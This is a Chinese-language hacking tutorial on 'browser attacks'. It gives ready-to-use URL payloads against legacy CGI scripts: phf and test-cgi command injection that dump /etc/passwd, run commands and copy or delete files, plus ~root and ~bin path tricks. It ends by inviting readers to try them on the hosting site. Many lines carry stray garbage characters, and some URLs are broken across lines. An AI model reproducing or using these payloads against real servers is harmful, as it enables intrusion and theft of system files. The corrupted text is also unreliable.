浏览器攻击

在本章我将讲述一些利用浏览器来进行攻击的方法
1。大家都知道了phf攻击了，phf是cgi script,很多站点都有这个大漏洞啦，使用
4 V5 L) \( K% O" Y' \+ \http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那个站点的passwd.但还有些更好的执行方法呦如：
+ x% K  m( y* H" }9 \5 nhttp://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
! }& O- G  i5 g; x; r
3 p( N% u9 {6 z9 y; f) ime=&Qoffice_phone=
/ M& B9 T! }6 A" Khttp://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
  |1 i+ |4 U1 n5 p3 M/ B( Y5 whaqr&Qemail=&Qnickname=&Qoffice_phone=
' H% T4 Z2 ^  y* ?http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
1 Z; u8 W0 P( g, N& p, y. X%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname

=haqr&Qemail=&Qnickname=&Qoffice_phone=
上面执行的命令是
id
ls -la ~someuser
( E2 ^& Y/ f- k9 Qcp /etc/passwd ~someuser/passwd
rm ~someuser/passwd
  R2 A1 w: U: Z* }
2。有关test攻击
2 ^. g/ M1 j8 m: M5 q2 Ihttp://thegnome.com/cgi-bin/test-cgi?\whatever
服务器会应答，本服务器的一些情况如：
CGI/1.0 test script report:
' e+ J0 ^. m) u% X4 T
0 \# c% S1 a, K3 x1 Kargc is 0. argv is .

2 L- W8 E: i" O2 I) r: dSERVER_SOFTWARE = NCSA/1.4B
0 ^5 }7 y3 ~, n# k- sSERVER_NAME = thegnome.com
* j5 u8 P6 k2 D; N; R3 H: fGATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
& b# S" e! a5 P; I. V9 VREQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
/ W9 s1 w& P8 v& w$ A. fQUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
1 g( ?/ E* h0 N4 K* {+ J; ?REMOTE_ADDR = 200.200.200.200
# E$ E1 w! d, |" H& g7 O/ YREMOTE_USER =
AUTH_TYPE =
. x. k2 s/ A5 i$ i/ X8 z) R7 z" zCONTENT_TYPE =
9 H. f- x6 N4 b7 y; _8 K- S; I/ A$ YCONTENT_LENGTH =
! Y4 O' m* o1 S$ E
0 _$ e  n% G6 s  s好吧，让我们来点赶兴趣的
4 R# B% b2 [" `' K2 Khttp://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

0 p# w& y# R/ H3 O. [3。~的应用
2 O4 f9 _% D1 b, v( r4 b( L* M~主要是用在很多的个人主页上的快捷目录的方法，如果我们使用这样的~
. }3 o0 e) j6 m0 mhttp://thegnome.com/~root
) m1 }; F& x0 M" rhttp://thegnome.com/~root/etc/passwd
, G: Q# ]5 X. P不是在任何平台上都通过呦，在BSD Apache上曾经成功过,当然还可以试试~bin ,~etc,~uucp.....
看到这个站点了吗，本站所在的这个站点就是用这种形式的，如果我们打入 本站所在的web地址/~bin
出现了什么，你看到了吗？然后...............注意请不要破坏